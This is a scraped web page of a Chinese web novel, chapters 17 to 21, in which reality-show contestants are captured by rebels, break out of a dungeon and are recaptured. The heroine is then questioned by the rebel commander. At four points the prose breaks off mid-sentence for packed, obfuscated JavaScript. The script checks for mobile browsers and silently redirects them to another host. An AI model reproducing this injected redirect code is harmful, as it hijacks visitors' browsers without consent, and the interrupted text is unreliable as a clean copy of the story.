l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869627|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性还挺有见解。”班宁由衷赞叹道。 “杀人杀多了都会变得爱思考人性。”青黛故作严肃。 “她妈是干什么的？”莫之臻好奇地问青黛道。 “据说，是杀手界的大前辈。”青黛低声说。 “失敬失敬。” 巫马莎转身大方地拍了拍莫之臻的肩膀：“你要是能活到杀手秀结束，我可以跟我妈说说，让她签了你。我妈公司绝对是业界金饭碗，后勤强保障好抽成高，还有养老金。” “怎么只签我啊？青黛呢？” “我姐这水准，必须是合伙人级别的。跟你不是一回事。” “你说得对。”莫之臻笑了起来。 回去的路上，装甲车竟然把舷窗上的遮蔽层打开了，清晨的第一缕光线照了进来，青黛透过防暴玻璃看向窗外，那个她熟悉又陌生的世界。 很快，她在天际线上发现了一个奇怪造型的东西——像一片巨大的乌云，就那么漂浮在半空中。 “那是九霄。”莫之臻在她背后说道。 那个天空城。 九霄是通过几条巨大的运输管道与九幽相连接的，用于输送物资和人员。远远看上去，九霄像是个巨大的风筝，飞翔在天空。 “我当然知道那是九霄。”青黛胡说道，她根本不知道。之所以不懂装懂，是因为她不想暴露自己穿越者的身份。 “你去过九霄吗？”青黛问莫之臻道。 严格意义上讲，青黛连九幽都没去过，只是在那坐过牢。但她对九幽并不是很好奇，因为地下城是可以想象的，但九霄上面什么样，她想不出来。 “那种权贵特区，我可上不去。而且，已经彻底关闭移居通道了，之后再想上去的人，就只能靠竞选议员、总统，或者投胎了。”莫之臻淡然而道，语气中毫无嫉妒和愤慨，似乎这件事与他无关。 青黛觉得联邦敢如此直白地把阶级差距具象化到这个程度，也是牛逼——权贵住在天上，蝼蚁住在地下。 等等，这个场景似乎在哪见过？想来想去，她想起了古代神话的天庭和地府，扑哧笑出了声。 差不多啊。 “我妈去过九霄。”旁边的巫马莎插嘴道。 “去干什么？”青黛问。 “执行任务。” “九霄的权贵雇佣九幽的杀手去九霄杀人？” “是的。不然这种脏活他们要亲自动手吗？”巫马莎反问道，“而且，上面的人比九霄的人心更脏，”说到这里，巫马莎压低声音说，“制作这个节目的公司老板，就是住在九霄的。” “在九幽的制作公司的老板，竟然能靠这种节目赚钱赚到住进九霄？”班宁觉得有点不可思议，因为移民九霄难如登天。 “因果关系你说反了，因为那老板是九霄的权贵，所以能打通关系在九幽制作这种节目。”莫之臻纠正她道。 班宁一脸恍然大悟。 “你对这个节目这么熟，知道下一个环节是什么吗？”青黛问巫马莎道。 巫马莎摇摇头：“这次还真不知道，据说换导演了，如果是原来的班底，我闭着眼都能猜个八九不离十。” “无非就是杀人和被杀呗，地表也来了，怪物也打了，我就不信这节目组还能玩出什么新花活？”旁边一个大哥不屑道。 青黛本想制止他立这种必然被反噬的flag，但为时已晚，大哥话音刚落，整车的人忽然感觉世界倾倒了—— 装甲车掉进了不知道什么地方。 没系安全带的人全都豆子一样滚到了车厢的前方，挤在一起；系了安全带的，则是被安全带绑着，悬吊在空中。 在装甲车不断下滑的过程中，青黛冲着窗外看去，确定这车应该是掉进了一个洞里。 一辆大型装甲车掉进洞里本就十分奇怪，但更奇怪的是，这车在下坠过程中始终保持着一种被牵拉的状态，并不是完全的自由落体运动。 “我们被人捕获了。”青黛说。 18. 废土逃杀18 “又是节目组搞的鬼？”巫马莎对这个节目组简直毫无信任可言。 “这次应该不是节目组。”莫之臻判断道。 “把防护服穿上！”青黛冲着所有人喊道，“我们得想办法出去，不能坐以待毙。” 选手们开始迅速穿回刚才脱下的防护服，等到所有人都穿好后，青黛按照手动开启系统的指示说明，伸手去拉车厢门上的手动锁。 但无论她怎么用力，换什么角度用力，那门把手仿佛焊死了般，根本拉不动。 几个选手见状也凑了过来，帮着青黛拉门把，但那门跟之前一样纹丝不动。 “别费劲了，肯定是节目组之前锁死了手动开门的系统。”莫之臻在旁边说道。 巫马莎问：“为什么？” “防止我们半路乱来之类的吧。”莫之臻按照节目组的调性揣测道。 “叫司机开门啊！”有选手喊了起来。 “你是不是傻？哪有什么司机，这车是自动驾驶的，你真以为节目组会派工作人员过来跟我们一起玩命啊？”另一个选手嘲讽他说。 “通知节目组，让他们来营救我们。”有人提议。 大家纷纷开始尝试联系节目组，但发现通讯器跟死了一样，无论怎么呼叫，那边都杳无回音。 没有信号。 “别做无用功了，就算有信号，你觉得这个节目组会来救我们吗？”青黛无奈道。 经过几轮斗智斗勇，她现在无比了解这个节目组的底色——纯坏！ “你们往窗外看！”一个选手声音颤抖着喊道。 大家顺着窗户往外看，只见一支装备造型乱七八糟的武装组织，举着印有奇怪火焰图腾的旗帜，包围了过来。 “是叛军。”有人认出了那面旗帜，“玄火。” “玄火”是被联邦政府定义为恐怖组织的一个叛军政府。成立于九幽，起家于政府军，他们的统帅本想利用哗变推翻当时的联邦领导者，但失败了。在跟联邦政府军的激烈交火中，被迫撤退到了地表。 玄火利用带走的物资和人员，以一个天然洞穴为基础，建立了他们的地下基地——玄火城。 玄火城最开始的居民构成来源于三部分： 第一部分就是最早参与九幽哗变那些军人和他们的家人。 第二部分是九幽的罪犯。 一开始九幽建设的规模没这么大，空间极为紧张，没有多余的地方给犯人居住，于是，在之前很长一段时间，只要是重刑犯，都直接被发配地表，让他们自生自灭。 这些人有的自己找到玄火投诚，有些是被玄火找到，算是双向奔赴。 第三部分是各种各样原因离开九幽的流民。 有些是被联邦剥削到流离失所；有些是惹了不该惹的人混不下去；有些是仇恨联邦，死也不愿意继续待在九幽的。 玄火最开始确实是一副为民谋福祉的姿态，收留了所有被九幽迫害的人，带着大家建设新的世界。 但渐渐地，随着他们的势力不断壮大，玄火的性质现在已经完全变了—— 说好的对抗联邦的黑暗统治，还美好的世界给百姓，重建世界秩序。这些承诺不但没实现，实际执政状态连联邦都不如——联邦还做做样子，搞搞民选，哄哄老百姓。玄火则明着开始搞政权世袭，直接倒退到了封建王朝的状态。 屠龙少年终成恶龙。 他们不仅在政治上搞君权世袭，还对底层民众进行高压统治，用沉重的赋税、强制的劳役来压榨民众的剩余价值，稍有反抗便会被投入满是辐射的“惩戒坑”。 为了壮大力量，拥有更多的免费劳动力，玄火军会定期搜索九幽的出入口，探测到人类，比如这些作死出来拍摄节目的，探险的，捡垃圾的和搞科研的，一旦被他们捉到，往后余生就会成为玄火的奴隶和劳工。 这所有信息，青黛都是在联邦监狱里读到的——即便那场哗变已经过去了三十年，联邦对玄火依然十分忌惮，在舆论宣传上各种不遗余力的揭穿其可怖本质。 “我不想当奴隶啊。”有选手没忍住，哭出了声，“咱们怎么办啊？” 刚才还想尽办法想打开车门出去的选手们，此时瞬间觉得门不够结实了，最好彻底焊死—— 比起死亡，他们更恐惧被玄火军俘虏。死亡也就是一瞬间的事，但成为叛军的奴隶，那将是无止境的生不如死。 “干他们！”另一个选手喊道，他的嗓音里都是破釜沉舟的意味。 “拿什么干？上车前我们的武器都被清剿了。”莫之臻一盆冷水当头泼了过去，“这装甲车里什么都没有。” 还没等选手们讨论出任何一个可行的方案，几个全覆面的叛军出现在了窗外，看上去很是吓人，他们并没有冲着车窗玻璃射击，而是给玻璃上喷涂了一层厚厚的颜料，遮挡上了选手们的视线。 “他们要干什么？”巫马莎慌了。 “大概是为了不让我们看到外面的状况。”青黛猜测。 紧接着，装甲车的车头被抬起，整车倾斜着往前移动起来，尖锐的摩擦声声声入耳，吵得大家心惊肉跳。 巫马莎也不问这是在干什么了，很明显，他们的车正在被玄火军的拖车拖着走。 “怎么办？”班宁低声问道。 青黛想了一会儿，对着大家提议道：“趁着还没到他们的基地前，我们得想办法逃走，不然就没什么机会了。” 选手们立刻行动了起来，有人尝试砸窗户，有人继续撬门，莫之臻干脆研究起了如何把车地板掀起来，但无一例外地没什么进展—— 这装甲车是针对地表的毒瘴和变异生物特制的，几乎是一体化成型的，连个螺丝都找不到，有着最高的气密性和防暴性，几乎没有徒手拆开的可能。 经过将近一个小时的颠簸后，装甲车停了下来。 还在做困兽之斗的选手们纷纷放弃了动作，安静地等待着接下来事态的发展——他们已经无能为力了。 忽然，一阵刺耳的切割声响起——玄火军开始破门了。 这切割整整持续了三分钟，车门连道口子都没被划开。很快，玄火军调整了方案，那切割声从门转移到了车身上。五分钟过去了，对方的切割攻势依然没什么效果，车身也毫无损伤，反倒是噪声吵得每个人脑仁生疼。 “这节目组的装甲车质量是真的不错啊。”巫马莎捂着耳朵感慨。 “应该是军用级别的。”莫之臻解释。 忽然，切割声戛然而止，大家都松了口气，但青黛却紧张了起来，对着大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869628|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家喊道： “赶紧后退，把身体蜷缩，离窗户和门越远越好。” 就在刚刚，她听到了一阵高频的声音，这是她从未听过的动静，她猜测是能量武器的声音。 果然，还没等所有人躲好，几束高能激光从其中几扇窗户的防暴玻璃上打了进来，全部汇聚在车厢门的门锁上，十分钟后，那锁被彻底融化了，随即，一条机械臂顺着融开的孔伸了进来，五个机械爪张开，扣住门板，用力一拉，车厢门被打开了。 虽然知道这门是势必要被打开的，这一刻是早晚要来的，但真的来了，大家内心还是无比的绝望。 负责开门的技工带着家伙们撤离了，那群覆面的玄火军警再次荷枪实弹地围了上来，三个手持能量枪的直接进入了车厢，剩下的行动人员则是以瞄准的姿态将装甲车团团围住。 一个一看就是小头目的人，站在最前面，他走近一个选手，仔细看了看他身上的防护服，然后说道：“所有人，把防护服脱掉。” 没人动。 小头目端起能量枪，瞄准那选手的脑袋，又重复了一遍：“所有人，把防护服脱掉。” 无奈的选手们只能按照他的话开始脱防护服。 “他们是什么意思？羞辱我们吗？”巫马莎咬牙切齿道。 让俘虏脱衣服，确实是一种羞辱方式，小姑娘也不算过于敏感。 “我猜，大概是他们需要这种高级防护服吧？这属于战略物资，你看看他们的装备，有点落后啊。”青黛低声说。 在青黛印象中，缴获敌方的武器和物资，向来是游击队和民间武装壮大军备的重要途径——正所谓，没有枪没有炮，敌人给我们造。 选手们脱完防护服后，按照要求，依次下车，然后双手抱头，蹲成两排，被叛军依次戴上手铐和头套。 这次别说巫马莎觉得被羞辱了，连青黛都觉得委屈——这辈子，哦不，上辈子只有她抓别人的份，哪有她被抓的情况啊。 而且，这个姿势真的太羞耻了。 在军警的呼呼喝喝中，选手们开始被押送前进。 人在失去视觉的时候，听力会变得更加敏感，更何况是青黛那个高科技耳朵。她的听力系统此时完全代替了视觉，开始疯狂捕捉各种信息—— 首先是玄火城入口处货物的装卸声，车辆的行驶声，吊装机械的运转声，旁边还伴有时断时续的电弧的噼里啪啦声，像是在焊接什么。 这大概是入口正在施工的项目。 随着不断地深入，她开始听到了各种操练声，格斗声，呐喊声。还有趾高气扬安排任务的，有压低声音窃窃私语的，偶尔还会穿插进几声争吵，谩骂和抱怨。 这应该是玄火军的练武场。 越往里走，环境渐渐安静了下来，他们进入了“室内”空间，洞穴里的室内。走了一段后，青黛听到了金属碰撞的砰砰声，木箱撞击的哐哐声，最后是几个工人的闲聊声。 他们路过了一个仓库。 此时，选手们被带着开始下楼梯，一层一层，那些机械运转的声音也越来越远。青黛感觉周遭的温度都降了几分，一股潮湿发霉的气息扑面而来，水滴落下的滴答声，在脚步中被无限放大。 他们被带入玄火军的地牢了。青黛判断。 19. 废土逃杀19 这个地牢是利用天然山洞，经加固、扩挖和内部设施建设改造成的，通道蜿蜿蜒蜒，很是崎岖。穿过一条长长的走廊后，负责押送的军警把选手们带入了监狱的临时关押监区。 “这次人这么多？”狱警组长看到几乎把监区外空地站满的选手们，感慨道。 “是啊。”负责押送的军警头目点头道。 “犯什么事了这些人？”狱警组长好奇地问押送军警头目，毕竟一次抓进来50个人的情况真不多见。 “地表抓到的。” “是那几个人的同伙吗？”狱警组长跟军警头目低声耳语。 “不知道，还没审呢。”军警头目摇了摇头。 这对话自然是被青黛听了个清清楚楚，此时她万分肯定，他们被抓跟那4个迷路后死亡的选手有莫大的关联。但具体是什么关联，不得而知。 “赶紧处理吧，我们还得回去复命呢。今天光抓他们都要累死了。”军警跟狱警组长抱怨道。 狱警组长吩咐身后的两个手下道：“把他们头套摘了，点个数。” 那两个狱警依次拽掉了所有选手的头套，同时清点人数——女的19人，男的31人。 清点完毕后，狱警组长命令手下打开了两间监房的门。 “男的左边那间，女的右边那间。”胖狱警对着选手们喊道。 有个跨性别选手对此提出异议，当即得到了一顿毒打。 选手们开始排队进入监房，在进去前，狱警会帮他们打开手铐。待到全部选手进入监室后，两个狱警关上了监室的门，并落了锁。 负责押送的军警头目再次进行确认后，跟狱警组长进行了最后的交接，然后是签字画押。 随后，军警小队离开了。 女监室内狭窄逼仄，将将能容纳20个人，空空如也，连个能坐的地方都没。后方的马桶臭不可闻，熏得巫马莎直流眼泪。 “臭哭了？”青黛揉着被勒红的手腕，同时调侃巫马莎道。 “不是哭，是氨气太刺激导致的应激性流泪。”巫马莎泪流满面地解释着，“咱们都坐牢了，你不紧张啊？还有心思笑我啊？” 青黛心想，坐牢这事我还真没什么可紧张的，毕竟参加这个节目之前，姐不但天天坐牢，还差点被嘎了。 巫马莎找了个离马桶最远的位置，蜷缩了下来，她自认为那个姿势接触臭气的面积最小。 青黛则是找了个墙角，席地而坐，假装小憩，实则眯着眼观察女监室里的状况。 为了方便监视，监房配备的是很传统的金属栅栏门，但为了保护犯人隐私，马桶冲外的位置有一堵一米见方的遮挡墙。天顶有一个摄像头，角度冲着门，故意避开了马桶的位置，显然也是为了保护隐私。 按理说，监狱里连人权都没有，更别说什么隐私权了。 这叛军也没传说中的那么泯灭人性吗，还是拿人当人的。青黛心里琢磨。 观察了一会儿，青黛大脑里就诞生了一个越狱计划。 但这个计划有一个巨大的困境——她需要男监那边有人高度配合，但这个需求目前来说很难实现——男监和女监虽说就在隔壁，但隔墙前面坐着一个胖狱警，双方根本不可能进行语言交流。 青黛本想敲墙联络一下隔壁，她凑到墙边，摸了摸墙，发现墙面是软包的，用途是防止犯人自杀——毫无疑问是敲不响的。 她又在女监里转了一圈，转到马桶旁边时，她忽然听到一个应该不是女监里任何人发出的声音。 难道是从男监那边传来的声音？ 青黛蹲在马桶边，开始研究马桶的上下水走向——女监的马桶是侧排式马桶，那么，排水管必然跟隔壁男监的排水管是相通的。 但如何通过马桶传递消息呢？ 青黛思考片刻，一屁股坐在马桶上，拿起旁边的塑料马桶刷，用刷柄开始轻轻敲击马桶侧面的排水管，反反复复地，就那一个节奏不停地敲。 是摩斯密码。 其实也就是试试，她并不指望当代人能掌握这种核战前世界的古老密码。 “你在干什么？”巫马莎捏着鼻子，凑到青黛身边，用极低的声音问道。 十万个为什么巫马莎小姐又上线了。 “你去看着点狱警，如果他发现了我的异常，你咳嗽通知我。”青黛用耳语交代道。 “好。”接到新任务的巫马莎快速进入了状态，找了个离狱警最近的位置，蜷缩起来。 女选手们听到她俩的对话后，猜到青黛大概有了新的计划，纷纷自觉地形成一堵并不刻意的人墙，挡住了青黛的身影。 在青黛连续不断地敲击了十分钟后，男监那边竟然回传来了敲击声。 青黛大喜，加快了敲击的速度，跟对方表述了一下自己的计划。那边回击的速度显然也加快了。计划确定后，他们开始静候时机。 终于，半小时后，胖狱警发出第一声鼾声。 青黛带着女选手们，在摄像头拍不到的角度，无声又迅速地组成一个人梯，把巫马莎送入了马桶正上方的通风管道里——这根通风管极细，一般成年人根本钻不进去，但巫马莎可以。 巫马莎进入通风管藏好后，青黛跟班宁使了个眼色，班宁点了点头，绕到女监后方，用她的铁腿猛踹了一脚山墙。 铁腿撞击地下室墙壁产生的动静巨大还带着回音，果然惊醒了胖狱警。 胖狱警原地弹起，揉了揉惺忪的眼睛开始检查所有监房，很快，他就发现关押选手的女监里少了人。 “出事了！少了一个犯人！”胖狱警冲着自己的通信器喊道，声音中全是紧张。 不到半分钟，狱警组长带着另一个狱警从办公室跑了过来。 那组长也是一脸刚睡醒，对着胖狱警喊道：“是不是你点错人数了？怎么可能少一个？这是地牢。” “真的少了一个，我数了好几遍呢。”胖狱警颤巍巍地回答。 “头儿，要不要呼叫增援？或者，通知典狱长？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869629|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”跟过来的那个狱警低声问道。 “先别，确定了再说，万一是个乌龙事件，咱们都要被处分的。先进去看看。”狱警组长道，“你俩进去。” 此时的狱警组长无比郁闷，押送小组跟他交接时，人数一个不差，现在少了人就是他的责任。 与此同时，听到女监这边的动静后，男监那边按照计划开始了他们的行动。 一个之前当过小偷的选手，卸下自己的机械义眼，用义眼的后端拆出一个隐藏的迷你螺丝刀，快速且无声地卸掉了男监门电子锁的锁盖。 “电源。”小偷哥对着身边一个衣服脱了一半的人低声说。 那个露出半个膀子的选手，打开自己的机械臂，把生物蓄电池卸下来，递给小偷哥。 小偷哥把义肢电源的正负极反向接入电子锁，一股青烟随即窜出，紧接着“咔嗒”一声，电子锁短路了，男监的牢门被打开了。 “我就说这种电子锁很好开吧！”小偷哥得意洋洋对大家道。 女监那边完全没注意到男监这里的动静——俩狱警正在热火朝天地点查人数和在密闭空间查找失踪人口，而狱警组长则是一脸紧张，端着枪，站在门边紧盯着女监选手们的一举一动。 “确实少了一个，但监室里真的没有。”狱警跟领导汇报道，“这里根本没有藏人的可能啊。上报吧？” 即便万般不愿，狱警组长还是拿出了通讯器，准备上报情况，就在此时，男监的选手们瞬间倾巢而出，直接用人浪淹没了狱警组长，连个反应时间都没给他。 莫之臻则是趁着众人压制狱警组长的时刻，快速缴了他的械，并一脚踩碎了他的通信器。 还在女监里搜查的两个狱警听到外面的混乱，准备掏枪，可还没等他们做出动作，其中一个就被从天而降的巫马莎砸在了头上。 小姑娘双腿一剪，那狱警的脖子嘎嘣一声，断了。 另一个狱警则是被班宁一个机械腿踢飞了出去，撞在对面墙上，弹落在地，昏死过去。 “班宁缴械！”青黛跟班宁交代完后，自己拿走了断脖子狱警的能量枪，丢给巫马莎。 为啥把枪甩给巫马莎呢，因为她不会用，这是她未接触过的知识领域。 “把地牢所有的牢门打开，把人全部放了！”青黛喊道。 选手们开始快速挨个开门，原住民犯人们纷纷涌出，全部冲着地牢大门冲去。 这是确保越狱成功的最重要的步骤——把水搅浑，监狱越乱，逃离的可能性越高。 当然，这个不是青黛的越狱经验，而是她曾经抓捕越狱罪犯的反向感悟。 紧接着越狱人群遇到了最大的问题，出不去门——犯人们疯狂晃动和猛踹了半天，监狱大门依然纹丝不动。 “我试试。”小偷哥又出手了，他观察拨弄了几下，一脸困惑。 “怎么了？”大家问。 “这个锁不是电子的，我不会开啊，结构看都看不懂。”小偷哥对着锁满脸无奈。 20. 废土逃杀20 青黛这才注意到这个监狱大门的门锁，是她的世界里银行地下金库的机械锁，就是带着舵轮转盘密码锁盘的，需要左扭扭右扭扭左右扭来扭去的那种锁。 此时她明白小偷哥为啥败下阵来了，又是那个问题——完全习惯了高科技的九幽人对“古代”机械认知严重不足。 看着那把自己时代的锁，她觉得玄火城这个地方很奇妙——能量武器和机械锁并存，新科技和旧物件相互揉杂，什么年代的技术都有，主打一个能用就行。 “我来开！”一个老到看不出年龄的“原住民”犯人，忽然在人群中喊道。 “您认识这种锁？”小偷哥看着老头，以为来了高手，很是谦卑地问道。 “不认识。”老头笑着摇了摇头。 他边说，边把手塞进嘴里，卸下了自己的假牙，在门锁上找了个合适的位置，把假牙卡了上去。 此时的画面十分滑稽——坚固的金属大门上镶着一副假牙。 “都退远点！蹲下！”老头喊道。 他没牙的嘴四处冒风，说得不是很清楚，但大家都明白了那肯定是炸弹，慌忙往后撤退。 青黛更是迅速，二话不说拎起巫马莎，找了根柱子躲在了后面。 “有炸弹你不早越狱？还蹲了这么多年大牢？”有狱友好奇地询问老头。 “我只有一个炸弹，但是要出去得经过两道门。”老头咧着没牙的嘴笑了笑，“我就等这天呢。” 青黛觉得这个老头太朋克了，竟然能戴着一副炸弹假牙过日子，还很自在的感觉。 倒数十秒后，假牙爆炸了，威力还不小，竟然真的把门炸开了。果然，在绝对的炸药面前，一切奇技淫巧都是纸老虎。 犯人们欢呼起来，夹带着选手们，滚浪般一起蜂拥而出。 震耳欲聋的警报声也随之响起，但似乎没人恐惧，大家反倒兴奋了起来，仿佛警报声成了一段BGM。 “别乱跑，跟我走，去武器库。”青黛对着四处猛冲的越狱人群喊道。 选手们自然是紧跟青黛召唤的，那些没头苍蝇般的原住民犯人听到青黛的话，竟然连问都不问也跟着她走了。 “你怎么知道武器库在哪？”巫马莎又开始问问题了。 “来地牢的路上听到的。”青黛回答。 她这“来源”一出，巫马莎一万个相信。 青黛带着选手们和越狱的同伴们，浩浩荡荡攻下了武器库，说攻下也不合理，因为几乎没有进攻——那些看守武器库的，看到他们凶神恶煞的架势，连抵抗都不抵抗了，纷纷投降，甚至贴心地帮青黛开了门。 这顺服的态度，让青黛心生疑惑，感觉有猫腻，但此时此刻，面对如此热火朝天的越狱行动，她无暇思考，只能带领大家继续前进。 选手和罪犯们纷纷把自己武装了起来，越狱大军一路高歌猛进，朝着玄火城的出入口不断挺进。 武器库被攻陷后，更尖锐的警报声响彻玄火军的驻地，整个军队进入了紧急状态。 正在待命的军警们以最快的速度集结，并快速向武器库方向前进。 玄火军先锋部队还没到达武器库，就在半途中遭遇了“犯人大军”。 狭路相逢了属于是。 双方都停了下来，气氛陷入凝滞，只有警报声依然在空气中盘旋流淌。 看到眼前这个情况，青黛有点心虚——她之前只是个特工，手下顶多就十几个人，而且特工行动很少当面硬刚，都是玩阴的。虽然当过兵，但执行的也都是那种人少且情况复杂的特种任务。 这么多人的正面对抗，路数她不熟悉啊，总不能冲上去肉搏吧？对射就更不合理了。 还没等她想出对策，玄火军那边的火力支援已经到位了——上百架激光发射枪配合着几门电磁炮，把他们突围的路线堵死了。 这些武器装备青黛不认识，但她毕竟是专业人士，知道这些肯定是大杀器。 “嗡——” 青黛随着声音抬头一看，脑袋上方几十米处出现了一个闪着光波的透明罩子。 正当她疑惑那是什么的时候，莫之臻的声音在旁边响了起来：“高能拦截罩。” 与此同时，大量的狙击无人机和机械狼形成阵形，出现在了越狱队伍的后方。 他们被全方位封死了。 青黛此时恍然大悟为什么他们拿下武器库如此容易了——看样子是个陷阱，玄火军这是准备瓮中捉鳖啊。 “咱们怎么办啊？”巫马莎轻轻扯了扯青黛的衣角，她也觉得要完蛋了，她认识那些武器，知道随便拿一个出来，就能把他们所有人送入轮回好几遍。 尤其是那个高能拦截罩，简直就是大号高能的灭蚊拍，谁碰谁死。 “你们是想殊死一搏呢？还是想束手就擒呢？”青黛转身问身后的大家，“反正结果都不会太好。” 她琢磨着，手心手背都是屎，抵抗投降都是死，但她没有权利代替所有人做出决定，不如直接问。 “跟他们拼了啊！”有人喊。 “还是投降吧，留得青山在，不怕没柴烧。”有人不同意。 “我看你就是怕死！” “你不怕，你冲过去啊！” “我一个人怎么冲？要冲大家一起啊！” “你做梦，谁要跟你一起死？” …… 正当两方意见吵得不可开交时，玄火军那边的军警全部戴上了防护面罩，紧接着，一架奇怪的无人机悬停在了越狱人群的上方，随后，那无人机上的红色指示灯开始闪动，三秒后，红灯变绿，无人机尾部开始冒烟。 还没等青黛搞明白一切，她只感觉浑身一软，眼前一黑。 昏了过去。 不仅她，所有越狱者集体昏了过去。 挺好，至少不用选择了。青黛在完全失去意识前想。 越狱者都被重新押送并关进了牢房，为了防止他们再次作妖，这次不但每个人都是单间，还全戴上了镣铐。 但青黛没有被送进牢房，她被军警单独带走了。 等她醒来时，发现自己被捆着坐在一个办公室里。 办公室很大，但并不奢华，很有苏联美学的调调，是一种带着浓重男性气息的粗犷的工业主义风格。 四面墙壁上挂着巨大变异生物的标本挂饰，房间正中摆着一张巨大的多功能会议桌，此时上面正投放着立体的全息影像，像是一张城市的3D地图。 巨大办公桌的桌牌上写着一行字——玄火军总指挥官。 指挥官此时正背对着青黛，观看着他办公桌后墙上的屏幕，那里播放着青黛带领大家越狱的监控回放。 那男人很高大，坐在高背椅上，依然能看到半个脑袋，他两条长腿交叠，搭在身前的凳子上，戴着一双上好的皮质手套，手里一直在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869630|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把玩着一把古董蝴蝶刀。 青黛觉得那刀眼熟，但想不起来在哪见过。 她就那么站在那里看着他看着自己，感觉很是诡异。 指挥官终于看完了她的犯罪实况记录，把椅子转了回来。 这人戴着半张机械面具，只露了一只眼睛出来。 这指挥官浮夸的造型吓了青黛一跳，她知道这个时代的人们热爱义体改造，改什么的都有，还有人装机械尾巴的，九幽监狱有个姑娘还改了两个会喷火的胸。但把脸改成他这样的，也是不多见。 指挥官上上下下把青黛从头到尾扫了一遍，但眼神既不猥琐，也不男凝，绝无男女之间那种暧昧，呼之欲出的全是……温柔。 温柔？ 青黛觉得不可思议，哪有杀人不眨眼的叛军boss看一个带头越狱的罪犯的眼神会是……温柔的？ 但那确确实实就是温柔。 还是说，这个指挥官天生眼神就这样？看狗都温柔？青黛暗自琢磨，这什么言情文男主的设定？这个特质不合适搞叛变吧？ 此刻，她忽然想起了蜡笔小新里的园长，差点没忍住笑出声。 把冷笑话憋回去后，她反省了起来：自己这个不分场合情绪错乱的毛病似乎越来越严重了。 此时，指挥官转身去给她倒了一杯水，递到她面前，同时低声问道：“你觉得，你能带着一群乌合之众，从玄火军驻地杀出去？你脑子里在想些什么？” 指挥官语气里没有愤怒，只是埋怨。 埋怨？这个语气也不合适吧？ 还没等青黛想出一个合理的又不会激怒对方的答案，这个指挥官继续问道： “你为什么会去参加那种奇怪的节目？杀手秀？” 此时他语气中的埋怨上升到了嗔怪，带着浓烈的个人情绪，仿佛很是排斥这个真人秀。 关你屁事啊！青黛心里嘀咕，但嘴上保持沉默，毕竟在人家的地盘，言辞不好太犀利。 “你跟那个姓莫的什么关系？他为什么知道你在马桶管子上敲什么？”指挥官继续问道。 青黛恍然大悟：原来跟自己用摩斯密码交流的是莫之臻啊？奇了怪了，那小子怎么什么都会的样子？ “你参加真人秀之前都在干些什么？”指挥官接着问。 青黛琢磨：告诉他自己在等待执行死刑不好吧？而且跟节目组签了保密协议。算了，还是继续保持沉默好了。 “干什么一直不说话？你以为不说话就能解决问题吗？”指挥官明显有点急眼了。 青黛觉得一直不说话确实不合适，于是说：“你怎么知道我们在地表拍真人秀？是不是那4个走丢的选手告诉你们的？说我们有装甲车还有一车人在林北城？” 青黛早就觉得那4个人的死很蹊跷——如果是走丢了，因为缺少补给而死，不可能是同时失去生命体征，即便遇到变异生物，也不可能是同时死，总之，除了被叛军抓住，任何情况都不可能是同时没信号，再同时被发现死亡。 “你都不回答我的问题，我凭什么要回答你的？”指挥官似乎来了点小脾气，竟然用这样幼稚的语气跟青黛怼了起来。 看着指挥官的表情，青黛明白自己猜对了，但指挥官的情绪让她陷入了巨大的困惑—— 他是在跟我…赌气撒娇吗？ 一个叛军总指挥官，跟一个越狱罪犯，这么说话，合理吗？ 21. 极限越狱4 此时，指挥官办公室的门被敲响了，在得到允许后，指挥官的副官从外面走了进来。 “长官！”副官敬了个礼后，拿出一沓资料递给指挥官，并在他耳边低语了几句。 指挥官一脸不耐烦，冲副官挥了挥手，示意他出去。 “长官，我不能把您和一个越狱犯单独放在一起，我需要对你的安全负责。”副官很不上道地拒绝了。 “我叫你出去！” “可是……” “出去！” “是！”副官无奈，退了出去。 指挥官平复了一下情绪，转身对青黛说：“原本，你应该被审讯室那帮疯子审讯的，因为……我，你才能舒舒服服坐在这里接受讯问。所以，咱们一人退一步，相互回答一个对方的问题，你看可以吗？” “可以。”青黛赶紧就坡下驴。 “你先来。”指挥官大气地说。 “那4个选手到底怎么回事？” “我说的你先来，是你先回答我的问题。” “……”青黛有点无语，但人在屋檐下不得不低头啊。 “你为什么要去参加杀手秀？”指挥官认真问道，他边问，边翻阅着副官送进来的关于杀手秀的资料。 “我有重要的任务要完成，必须参加。”青黛说得云里雾里的。 “什么重要任务？” “这是另外的问题。” 